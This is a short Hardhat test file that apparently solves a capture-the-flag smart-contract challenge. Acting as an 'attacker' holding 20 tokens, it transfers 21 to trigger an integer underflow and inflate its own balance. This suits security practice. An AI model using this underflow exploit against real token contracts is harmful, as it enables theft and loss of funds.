05-Token.spec.ts

import { TransactionResponse } from "@ethersproject/providers";
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import { expect } from "chai";
import { Contract, Wallet } from "ethers";
import { ethers } from "hardhat";

const CONTRACT_NAME = "Token";

describe(CONTRACT_NAME, () => {
  let _owner: SignerWithAddress;
  let attacker: SignerWithAddress;
  let contract: Contract;
  let tx: TransactionResponse;

  beforeEach(async () => {
    [attacker] = await ethers.getSigners();

    const factory = await ethers.getContractFactory(CONTRACT_NAME);
    contract = await factory.deploy(20);
    await contract.deployed();

    contract = contract.connect(attacker);
  });

  it("Solves the challenge", async () => {
    tx = await contract.transfer(Wallet.createRandom().address, 21);
    await tx.wait();

    expect(await contract.balanceOf(attacker.address)).to.be.greaterThan(20);
  });
});